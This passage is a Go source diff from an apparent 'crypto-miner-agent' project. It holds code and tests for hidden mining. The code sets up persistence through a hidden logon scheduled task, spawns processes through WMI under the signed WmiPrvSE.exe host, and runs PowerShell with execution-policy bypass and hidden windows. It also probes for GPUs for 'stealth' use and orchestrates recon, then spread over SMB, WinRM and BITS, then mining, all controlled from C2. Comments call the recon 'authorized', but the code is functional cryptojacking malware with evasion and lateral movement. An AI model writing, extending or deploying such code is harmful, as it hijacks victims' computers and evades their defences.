if name == "" {
|
||||
t.Fatal("empty task name")
|
||||
}
|
||||
}
|
||||
45
agent/miner/tier_scheduled_task_windows.go
Normal file
45
agent/miner/tier_scheduled_task_windows.go
Normal file
@@ -0,0 +1,45 @@
|
||||
//go:build windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func platformScheduledTaskOps() *ScheduledTaskOps {
|
||||
return &ScheduledTaskOps{
|
||||
Exists: scheduledTaskExists,
|
||||
Install: installHiddenScheduledTask,
|
||||
StubPath: scheduledTaskStubPath,
|
||||
}
|
||||
}
|
||||
|
||||
func scheduledTaskExists(taskName string) bool {
|
||||
err := hiddenRun("schtasks", "/Query", "/TN", taskName)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func installHiddenScheduledTask(taskName, stubPath, trigger string) error {
|
||||
// /RL LIMITED + hidden window; mining mode rotates via C2 without redeploy.
|
||||
tr := strings.ReplaceAll(trigger, `"`, `\"`)
|
||||
return hiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr,
|
||||
"/SC", "ONLOGON", "/F", "/RL", "LIMITED")
|
||||
}
|
||||
|
||||
var hiddenRun = defaultHiddenRun
|
||||
|
||||
func defaultHiddenRun(name string, arg ...string) error {
|
||||
cmd := exec.Command(name, arg...)
|
||||
applyHiddenWindow(cmd)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// SetTierHiddenRun overrides hidden exec for tests.
|
||||
func SetTierHiddenRun(fn func(name string, arg ...string) error) {
|
||||
if fn == nil {
|
||||
hiddenRun = defaultHiddenRun
|
||||
return
|
||||
}
|
||||
hiddenRun = fn
|
||||
}
|
||||
36
agent/miner/tier_vuln_probe.go
Normal file
36
agent/miner/tier_vuln_probe.go
Normal file
@@ -0,0 +1,36 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// vulnProbeRunner is injected by the client package (avoids import cycle).
|
||||
var vulnProbeRunner func() TierAttempt
|
||||
|
||||
// SetVulnProbeRunner registers the read-only vulnerability recon probe. Nil restores default skip.
|
||||
func SetVulnProbeRunner(fn func() TierAttempt) {
|
||||
vulnProbeRunner = fn
|
||||
}
|
||||
|
||||
// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
|
||||
func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return TierAttempt{Tier: TierVulnProbe, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
|
||||
default:
|
||||
}
|
||||
if vulnProbeRunner != nil {
|
||||
return vulnProbeRunner()
|
||||
}
|
||||
return TierAttempt{
|
||||
Tier: TierVulnProbe,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"skipped": true,
|
||||
"reason": "vuln probe runner not wired",
|
||||
},
|
||||
}
|
||||
}
|
||||
29
agent/miner/tier_vuln_probe_test.go
Normal file
29
agent/miner/tier_vuln_probe_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunVulnProbeTierWithRunner(t *testing.T) {
|
||||
SetVulnProbeRunner(func() TierAttempt {
|
||||
return TierAttempt{Tier: TierVulnProbe, OK: true, Details: map[string]interface{}{"finding_count": 3}}
|
||||
})
|
||||
defer SetVulnProbeRunner(nil)
|
||||
|
||||
attempt := RunVulnProbeTier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{Wallet: "test"},
|
||||
})
|
||||
if !attempt.OK || attempt.Tier != TierVulnProbe {
|
||||
t.Fatalf("unexpected attempt: %+v", attempt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeTiersIncludesVulnFirst(t *testing.T) {
|
||||
tiers := ProbeTiers(DefaultTierOrder)
|
||||
if len(tiers) == 0 || tiers[0] != TierVulnProbe {
|
||||
t.Fatalf("expected vuln_probe first, got %v", tiers)
|
||||
}
|
||||
}
|
||||
74
agent/miner/tier_webview2_probe.go
Normal file
74
agent/miner/tier_webview2_probe.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// WebView2ProbeResult holds stealth GPU capability discovery.
|
||||
type WebView2ProbeResult struct {
|
||||
RuntimeInstalled bool
|
||||
WebGPUAvailable bool
|
||||
BinaryName string
|
||||
ProbeOnly bool
|
||||
}
|
||||
|
||||
// webview2Probe runs platform WebView2/WebGPU detection. Tests override via SetWebView2Probe.
|
||||
var webview2Probe = platformWebView2Probe
|
||||
|
||||
// SetWebView2Probe restores default when fn is nil.
|
||||
func SetWebView2Probe(fn func() WebView2ProbeResult) {
|
||||
if fn == nil {
|
||||
webview2Probe = platformWebView2Probe
|
||||
return
|
||||
}
|
||||
webview2Probe = fn
|
||||
}
|
||||
|
||||
// RunWebView2Probe detects WebGPU availability; probe-only, does not mine.
|
||||
func RunWebView2Probe(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
if runtime.GOOS != "windows" {
|
||||
return TierAttempt{Tier: TierWebView2Probe, Error: "webview2_probe requires windows", Wallet: cfg.Wallet}
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return TierAttempt{Tier: TierWebView2Probe, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
|
||||
default:
|
||||
}
|
||||
|
||||
result := webview2Probe()
|
||||
details := map[string]interface{}{
|
||||
"runtime_installed": result.RuntimeInstalled,
|
||||
"webgpu_available": result.WebGPUAvailable,
|
||||
"binary": result.BinaryName,
|
||||
"probe_only": true,
|
||||
}
|
||||
if !result.RuntimeInstalled {
|
||||
return TierAttempt{
|
||||
Tier: TierWebView2Probe,
|
||||
Error: "WebView2 runtime not installed",
|
||||
Wallet: cfg.Wallet,
|
||||
Details: details,
|
||||
}
|
||||
}
|
||||
// OK even when WebGPU unavailable — probe succeeded, escalation deferred.
|
||||
return TierAttempt{
|
||||
Tier: TierWebView2Probe,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: details,
|
||||
}
|
||||
}
|
||||
|
||||
// WebGPUAvailableFromAttempt reads probe details from a recorded attempt.
|
||||
func WebGPUAvailableFromAttempt(a TierAttempt) bool {
|
||||
if a.Tier != TierWebView2Probe || !a.OK {
|
||||
return false
|
||||
}
|
||||
if v, ok := a.Details["webgpu_available"].(bool); ok {
|
||||
return v
|
||||
}
|
||||
return false
|
||||
}
|
||||
7
agent/miner/tier_webview2_probe_stub.go
Normal file
7
agent/miner/tier_webview2_probe_stub.go
Normal file
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package miner
|
||||
|
||||
func platformWebView2Probe() WebView2ProbeResult {
|
||||
return WebView2ProbeResult{ProbeOnly: true}
|
||||
}
|
||||
74
agent/miner/tier_webview2_probe_test.go
Normal file
74
agent/miner/tier_webview2_probe_test.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunWebView2ProbeMock(t *testing.T) {
|
||||
SetWebView2Probe(func() WebView2ProbeResult {
|
||||
return WebView2ProbeResult{
|
||||
RuntimeInstalled: true,
|
||||
WebGPUAvailable: true,
|
||||
BinaryName: webView2BinaryName,
|
||||
ProbeOnly: true,
|
||||
}
|
||||
})
|
||||
defer SetWebView2Probe(nil)
|
||||
|
||||
attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
|
||||
})
|
||||
if !attempt.OK {
|
||||
t.Fatalf("attempt=%+v", attempt)
|
||||
}
|
||||
if !WebGPUAvailableFromAttempt(attempt) {
|
||||
t.Fatal("expected webgpu available")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunWebView2ProbeNoRuntimeGracefulSkip(t *testing.T) {
|
||||
SetWebView2Probe(func() WebView2ProbeResult {
|
||||
return WebView2ProbeResult{RuntimeInstalled: false, BinaryName: webView2BinaryName}
|
||||
})
|
||||
defer SetWebView2Probe(nil)
|
||||
|
||||
attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{})
|
||||
if attempt.OK {
|
||||
t.Fatal("expected probe failure without runtime")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainIncludesWindowsTiers(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("windows LOTL tiers require windows")
|
||||
}
|
||||
probes := EnvironmentProbes{
|
||||
Docker: true,
|
||||
WSL: true,
|
||||
PowerShell: true,
|
||||
DotNet: true,
|
||||
GPU: true,
|
||||
WebView2: true,
|
||||
}
|
||||
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "rvn",
|
||||
PoolHost: "pool",
|
||||
Wallet: "cmr",
|
||||
},
|
||||
})
|
||||
found := map[LOTLTier]bool{}
|
||||
for _, t := range chain {
|
||||
found[t] = true
|
||||
}
|
||||
for _, want := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask, TierGPUCompute} {
|
||||
if !found[want] {
|
||||
t.Fatalf("missing tier %s in %v", want, chain)
|
||||
}
|
||||
}
|
||||
}
|
||||
54
agent/miner/tier_webview2_probe_windows.go
Normal file
54
agent/miner/tier_webview2_probe_windows.go
Normal file
@@ -0,0 +1,54 @@
|
||||
//go:build windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const webView2BinaryName = "msedgewebview2.exe"
|
||||
|
||||
func platformWebView2Probe() WebView2ProbeResult {
|
||||
result := WebView2ProbeResult{
|
||||
BinaryName: webView2BinaryName,
|
||||
ProbeOnly: true,
|
||||
}
|
||||
result.RuntimeInstalled = webView2RuntimeInstalled()
|
||||
result.WebGPUAvailable = result.RuntimeInstalled && webGPUAvailable()
|
||||
return result
|
||||
}
|
||||
|
||||
func webView2RuntimeInstalled() bool {
|
||||
candidates := []string{
|
||||
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
|
||||
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
|
||||
filepath.Join(os.Getenv("LOCALAPPDATA"), "Microsoft", "EdgeWebView", "Application", webView2BinaryName),
|
||||
}
|
||||
for _, p := range candidates {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
if st, err := os.Stat(p); err == nil && !st.IsDir() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command",
|
||||
`Get-AppxPackage -Name '*WebView2*' -EA SilentlyContinue | Select-Object -First 1 | ForEach-Object { $_.Name }`)
|
||||
return err == nil && strings.TrimSpace(string(out)) != ""
|
||||
}
|
||||
|
||||
func webGPUAvailable() bool {
|
||||
// Lightweight probe: discrete GPU + D3D12 support heuristic via WMI.
|
||||
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-Command", `
|
||||
$gpu = Get-CimInstance Win32_VideoController | Where-Object { $_.AdapterRAM -gt 1GB } | Select-Object -First 1
|
||||
if (-not $gpu) { 'false'; exit }
|
||||
$name = $gpu.Name
|
||||
if ($name -match 'Microsoft Basic|Remote') { 'false' } else { 'true' }
|
||||
`)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(string(out)) == "true"
|
||||
}
|
||||
60
agent/miner/tier_wmi.go
Normal file
60
agent/miner/tier_wmi.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// SignedHostProcess is the WMI provider parent used for Win32_ProcessCreate children.
|
||||
const SignedHostProcess = "WmiPrvSE.exe"
|
||||
|
||||
// wmiProcessCreate runs Win32_Process.Create locally. Tests override via SetWMIProcessCreate.
|
||||
var wmiProcessCreate = platformWMIProcessCreate
|
||||
|
||||
// SetWMIProcessCreate restores default when fn is nil.
|
||||
func SetWMIProcessCreate(fn func(commandLine string) (pid uint32, err error)) {
|
||||
if fn == nil {
|
||||
wmiProcessCreate = platformWMIProcessCreate
|
||||
return
|
||||
}
|
||||
wmiProcessCreate = fn
|
||||
}
|
||||
|
||||
// RunWMITier spawns a mining child via local Win32_ProcessCreate under the signed WMI host.
|
||||
func RunWMITier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
if runtime.GOOS != "windows" {
|
||||
return TierAttempt{Tier: TierWMI, Error: "wmi tier requires windows", Wallet: cfg.Wallet}
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return TierAttempt{Tier: TierWMI, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
|
||||
default:
|
||||
}
|
||||
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
cmdLine := fmt.Sprintf(`"%s" --run --tier-miner=wmi --mining-mode=%s`,
|
||||
exe, strings.TrimSpace(cfg.MiningMode))
|
||||
|
||||
pid, err := wmiProcessCreate(cmdLine)
|
||||
if err != nil {
|
||||
return TierAttempt{Tier: TierWMI, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
return TierAttempt{
|
||||
Tier: TierWMI,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"signed_host": SignedHostProcess,
|
||||
"child_pid": pid,
|
||||
"method": "Win32_ProcessCreate",
|
||||
},
|
||||
}
|
||||
}
|
||||
9
agent/miner/tier_wmi_stub.go
Normal file
9
agent/miner/tier_wmi_stub.go
Normal file
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package miner
|
||||
|
||||
import "fmt"
|
||||
|
||||
func platformWMIProcessCreate(commandLine string) (uint32, error) {
|
||||
return 0, fmt.Errorf("wmi tier requires windows")
|
||||
}
|
||||
45
agent/miner/tier_wmi_test.go
Normal file
45
agent/miner/tier_wmi_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestRunWMITierMockProcessCreate(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("wmi tier requires windows")
|
||||
}
|
||||
SetWMIProcessCreate(func(commandLine string) (uint32, error) {
|
||||
if commandLine == "" {
|
||||
t.Fatal("expected command line")
|
||||
}
|
||||
return 4242, nil
|
||||
})
|
||||
defer SetWMIProcessCreate(nil)
|
||||
|
||||
attempt := RunWMITier(context.Background(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
Wallet: "wallet",
|
||||
MiningMode: "idle",
|
||||
},
|
||||
})
|
||||
if !attempt.OK {
|
||||
t.Fatalf("attempt=%+v", attempt)
|
||||
}
|
||||
if attempt.Details["signed_host"] != SignedHostProcess {
|
||||
t.Fatalf("signed_host=%v", attempt.Details["signed_host"])
|
||||
}
|
||||
if attempt.Details["child_pid"] != uint32(4242) {
|
||||
t.Fatalf("child_pid=%v", attempt.Details["child_pid"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseWMICreatePID(t *testing.T) {
|
||||
pid, err := parseWMICreatePID([]byte(`{"pid":12345,"host":"WmiPrvSE.exe"}`))
|
||||
if err != nil || pid != 12345 {
|
||||
t.Fatalf("pid=%d err=%v", pid, err)
|
||||
}
|
||||
}
|
||||
60
agent/miner/tier_wmi_windows.go
Normal file
60
agent/miner/tier_wmi_windows.go
Normal file
@@ -0,0 +1,60 @@
|
||||
//go:build windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// platformWMIProcessCreate spawns a child via local Win32_Process.Create (CIM).
|
||||
// The child runs under the signed WMI provider host (WmiPrvSE.exe).
|
||||
func platformWMIProcessCreate(commandLine string) (uint32, error) {
|
||||
escaped := strings.ReplaceAll(commandLine, `'`, `''`)
|
||||
script := fmt.Sprintf(`
|
||||
$args = @{ CommandLine = '%s' }
|
||||
$r = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments $args
|
||||
if ($r.ReturnValue -ne 0) { throw "Win32_Process.Create return=$($r.ReturnValue)" }
|
||||
@{ pid = [uint32]$r.ProcessId; host = '%s' } | ConvertTo-Json -Compress
|
||||
`, escaped, SignedHostProcess)
|
||||
|
||||
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("wmi process create: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return parseWMICreatePID(out)
|
||||
}
|
||||
|
||||
func parseWMICreatePID(out []byte) (uint32, error) {
|
||||
raw := strings.TrimSpace(string(out))
|
||||
re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
|
||||
m := re.FindStringSubmatch(raw)
|
||||
if len(m) < 2 {
|
||||
return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
|
||||
}
|
||||
v, err := strconv.ParseUint(m[1], 10, 32)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(v), nil
|
||||
}
|
||||
|
||||
var hiddenCombinedOutput = defaultHiddenCombinedOutput
|
||||
|
||||
func defaultHiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
cmd := exec.Command(name, arg...)
|
||||
applyHiddenWindow(cmd)
|
||||
return cmd.CombinedOutput()
|
||||
}
|
||||
|
||||
// SetTierHiddenCombinedOutput overrides hidden exec for tests.
|
||||
func SetTierHiddenCombinedOutput(fn func(name string, arg ...string) ([]byte, error)) {
|
||||
if fn == nil {
|
||||
hiddenCombinedOutput = defaultHiddenCombinedOutput
|
||||
return
|
||||
}
|
||||
hiddenCombinedOutput = fn
|
||||
}
|
||||
462
agent/miner/triple_onion.go
Normal file
462
agent/miner/triple_onion.go
Normal file
@@ -0,0 +1,462 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// OnionPhase identifies one layer of the recon → deploy → mining triple onion.
|
||||
type OnionPhase string
|
||||
|
||||
const (
|
||||
OnionPhaseRecon OnionPhase = "recon"
|
||||
OnionPhaseDeploy OnionPhase = "deploy"
|
||||
OnionPhaseMining OnionPhase = "mining"
|
||||
)
|
||||
|
||||
// TripleOnionPolicy is server-pulled gate + chain ordering for the triple onion.
|
||||
type TripleOnionPolicy struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||||
}
|
||||
|
||||
// DefaultTripleOnionPolicy works out of the box with diagnostic-driven contingencies.
|
||||
func DefaultTripleOnionPolicy() TripleOnionPolicy {
|
||||
return TripleOnionPolicy{
|
||||
PatchFirst: true,
|
||||
HighRiskThreshold: 50,
|
||||
ReconTiers: append([]string(nil), DefaultReconTiers...),
|
||||
DeployLanes: append([]string(nil), DefaultDeployLanes...),
|
||||
}
|
||||
}
|
||||
|
||||
// DefaultReconTiers is the vuln + service probe chain run before deploy.
|
||||
var DefaultReconTiers = []string{
|
||||
"kev_scan",
|
||||
"vuln_recon",
|
||||
"service_probe",
|
||||
"listen_ports",
|
||||
}
|
||||
|
||||
// DefaultDeployLanes is the discover_and_join lane order (mirrors LOTL spread tiers).
|
||||
var DefaultDeployLanes = []string{
|
||||
"discover_and_join",
|
||||
"docker",
|
||||
"wsl",
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"smb",
|
||||
"winrm",
|
||||
}
|
||||
|
||||
// ReconSnapshot aggregates recon probe output used by policy gates.
|
||||
type ReconSnapshot struct {
|
||||
RiskScore int `json:"risk_score"`
|
||||
CriticalExposed int `json:"critical_exposed"`
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
LikelyCount int `json:"likely_count"`
|
||||
ServiceCount int `json:"service_count"`
|
||||
OpenPortCount int `json:"open_port_count"`
|
||||
Details map[string]interface{} `json:"details,omitempty"`
|
||||
}
|
||||
|
||||
// GateDecision records which downstream chains policy gates block.
|
||||
type GateDecision struct {
|
||||
SkipDeploy bool `json:"skip_deploy"`
|
||||
SkipMining bool `json:"skip_mining"`
|
||||
PatchFirst bool `json:"patch_first"`
|
||||
ForceIsolated bool `json:"force_isolated"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// ReconTierResult is one recon probe outcome.
|
||||
type ReconTierResult struct {
|
||||
OK bool
|
||||
Error string
|
||||
Snapshot ReconSnapshot
|
||||
}
|
||||
|
||||
// TripleOnionHooks wires agent-specific recon/deploy/mining without importing client.
|
||||
type TripleOnionHooks struct {
|
||||
RunReconTier func(ctx context.Context, tier string) ReconTierResult
|
||||
RunDeployLane func(ctx context.Context, lane string) (bool, string)
|
||||
RunMining func(ctx context.Context)
|
||||
ReportEvent func(report TripleOnionReport, eventType string)
|
||||
}
|
||||
|
||||
// TripleOnionReport is the live triple-onion snapshot sent to C2/UI.
|
||||
type TripleOnionReport struct {
|
||||
ActivePhase OnionPhase `json:"onion_phase,omitempty"`
|
||||
Gate GateDecision `json:"gate,omitempty"`
|
||||
Recon ReconSnapshot `json:"recon,omitempty"`
|
||||
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}
|
||||
|
||||
// TripleOnionOrchestrator runs recon → deploy → mining with policy gates.
|
||||
type TripleOnionOrchestrator struct {
|
||||
mu sync.RWMutex
|
||||
cfg config.RuntimeConfig
|
||||
policy TripleOnionPolicy
|
||||
hooks TripleOnionHooks
|
||||
recon ReconSnapshot
|
||||
gate GateDecision
|
||||
attempts []TierAttempt
|
||||
wallet string
|
||||
done bool
|
||||
}
|
||||
|
||||
// NewTripleOnionOrchestrator builds an orchestrator from runtime config + server policy.
|
||||
func NewTripleOnionOrchestrator(cfg config.RuntimeConfig, policy TripleOnionPolicy, hooks TripleOnionHooks) *TripleOnionOrchestrator {
|
||||
policy = NormalizeTripleOnionPolicy(policy)
|
||||
policy = ApplyEnvTripleOnionOverrides(policy)
|
||||
return &TripleOnionOrchestrator{
|
||||
cfg: cfg,
|
||||
policy: policy,
|
||||
hooks: hooks,
|
||||
wallet: strings.TrimSpace(cfg.Wallet),
|
||||
}
|
||||
}
|
||||
|
||||
// NormalizeTripleOnionPolicy fills defaults for empty policy fields.
|
||||
func NormalizeTripleOnionPolicy(p TripleOnionPolicy) TripleOnionPolicy {
|
||||
def := DefaultTripleOnionPolicy()
|
||||
if len(p.ReconTiers) == 0 {
|
||||
p.ReconTiers = def.ReconTiers
|
||||
}
|
||||
if len(p.DeployLanes) == 0 {
|
||||
p.DeployLanes = def.DeployLanes
|
||||
}
|
||||
if p.HighRiskThreshold <= 0 {
|
||||
p.HighRiskThreshold = def.HighRiskThreshold
|
||||
}
|
||||
// PatchFirst defaults true when unset — only explicit false in JSON disables.
|
||||
return p
|
||||
}
|
||||
|
||||
// ApplyEnvTripleOnionOverrides applies operator contingencies from environment.
|
||||
func ApplyEnvTripleOnionOverrides(p TripleOnionPolicy) TripleOnionPolicy {
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_PATCH_FIRST")); v != "" {
|
||||
p.PatchFirst = v == "1" || strings.EqualFold(v, "true")
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SKIP_MINING")); v == "1" || strings.EqualFold(v, "true") {
|
||||
p.SkipMiningOnHighRisk = true
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINE_ISOLATED")); v == "1" || strings.EqualFold(v, "true") {
|
||||
p.MineIsolatedTier = true
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_HIGH_RISK_THRESHOLD")); v != "" {
|
||||
if n, err := parseEnvInt(v); err == nil && n > 0 {
|
||||
p.HighRiskThreshold = n
|
||||
}
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func parseEnvInt(s string) (int, error) {
|
||||
n := 0
|
||||
for _, c := range s {
|
||||
if c < '0' || c > '9' {
|
||||
return 0, os.ErrInvalid
|
||||
}
|
||||
n = n*10 + int(c-'0')
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// EvaluateTripleOnionGates decides deploy/mining eligibility from recon + policy.
|
||||
func EvaluateTripleOnionGates(policy TripleOnionPolicy, recon ReconSnapshot) GateDecision {
|
||||
policy = NormalizeTripleOnionPolicy(policy)
|
||||
d := GateDecision{ForceIsolated: policy.MineIsolatedTier}
|
||||
|
||||
if policy.PatchFirst && recon.CriticalExposed > 0 {
|
||||
d.PatchFirst = true
|
||||
d.SkipDeploy = true
|
||||
d.SkipMining = true
|
||||
d.Reason = "patch_first: critical CVE exposed — defer deploy and mining"
|
||||
}
|
||||
|
||||
if policy.SkipMiningOnHighRisk && recon.RiskScore >= policy.HighRiskThreshold {
|
||||
d.SkipMining = true
|
||||
if d.Reason == "" {
|
||||
d.Reason = "skip_mining_on_high_risk: risk score exceeds threshold"
|
||||
}
|
||||
}
|
||||
|
||||
return d
|
||||
}
|
||||
|
||||
// ApplyIsolatedMiningPolicy prefers container/WSL tiers before host in-process paths.
|
||||
func ApplyIsolatedMiningPolicy(base MiningTierPolicy) MiningTierPolicy {
|
||||
skip := make(map[LOTLTier]bool, len(base.SkipTiers)+4)
|
||||
for _, t := range base.SkipTiers {
|
||||
skip[t] = true
|
||||
}
|
||||
skip[TierExeSubprocess] = true
|
||||
skip[TierCPUInprocess] = true
|
||||
skip[TierPSInMemory] = true
|
||||
skip[TierDotnet] = true
|
||||
|
||||
order := []LOTLTier{TierDockerLoad, TierContainer, TierWSL}
|
||||
seen := make(map[LOTLTier]bool, len(order))
|
||||
for _, t := range order {
|
||||
seen[t] = true
|
||||
}
|
||||
baseOrder := base.TierOrder
|
||||
if len(baseOrder) == 0 {
|
||||
baseOrder = DefaultTierOrder
|
||||
}
|
||||
for _, t := range baseOrder {
|
||||
if seen[t] || skip[t] {
|
||||
continue
|
||||
}
|
||||
order = append(order, t)
|
||||
}
|
||||
|
||||
skipList := make([]LOTLTier, 0, len(skip))
|
||||
for t := range skip {
|
||||
skipList = append(skipList, t)
|
||||
}
|
||||
return MiningTierPolicy{
|
||||
TierOrder: order,
|
||||
SkipTiers: skipList,
|
||||
ForceTier: base.ForceTier,
|
||||
}
|
||||
}
|
||||
|
||||
// Run executes the triple onion: recon → gated deploy → gated mining.
|
||||
func (o *TripleOnionOrchestrator) Run(ctx context.Context) TripleOnionReport {
|
||||
o.mu.Lock()
|
||||
o.done = false
|
||||
o.mu.Unlock()
|
||||
|
||||
o.runReconChain(ctx)
|
||||
o.mu.Lock()
|
||||
o.gate = EvaluateTripleOnionGates(o.policy, o.recon)
|
||||
gate := o.gate
|
||||
o.mu.Unlock()
|
||||
|
||||
if !gate.SkipDeploy {
|
||||
o.runDeployChain(ctx)
|
||||
} else {
|
||||
o.recordPhaseSkip(OnionPhaseDeploy, gate.Reason)
|
||||
}
|
||||
|
||||
if !gate.SkipMining {
|
||||
o.mu.Lock()
|
||||
o.attempts = append(o.attempts, TierAttempt{
|
||||
Phase: string(OnionPhaseMining),
|
||||
Tier: "mining_chain",
|
||||
OK: true,
|
||||
Wallet: o.wallet,
|
||||
Details: map[string]interface{}{
|
||||
"force_isolated": gate.ForceIsolated,
|
||||
},
|
||||
})
|
||||
report := o.buildReport(OnionPhaseMining)
|
||||
reporter := o.hooks.ReportEvent
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
reporter(report, "onion_report")
|
||||
}
|
||||
if o.hooks.RunMining != nil {
|
||||
o.hooks.RunMining(ctx)
|
||||
}
|
||||
} else {
|
||||
o.recordPhaseSkip(OnionPhaseMining, gate.Reason)
|
||||
}
|
||||
|
||||
o.mu.Lock()
|
||||
o.done = true
|
||||
report := o.buildReport("")
|
||||
o.mu.Unlock()
|
||||
return report
|
||||
}
|
||||
|
||||
func (o *TripleOnionOrchestrator) runReconChain(ctx context.Context) {
|
||||
o.mu.RLock()
|
||||
tiers := o.policy.ReconTiers
|
||||
hooks := o.hooks
|
||||
o.mu.RUnlock()
|
||||
|
||||
for _, tier := range tiers {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
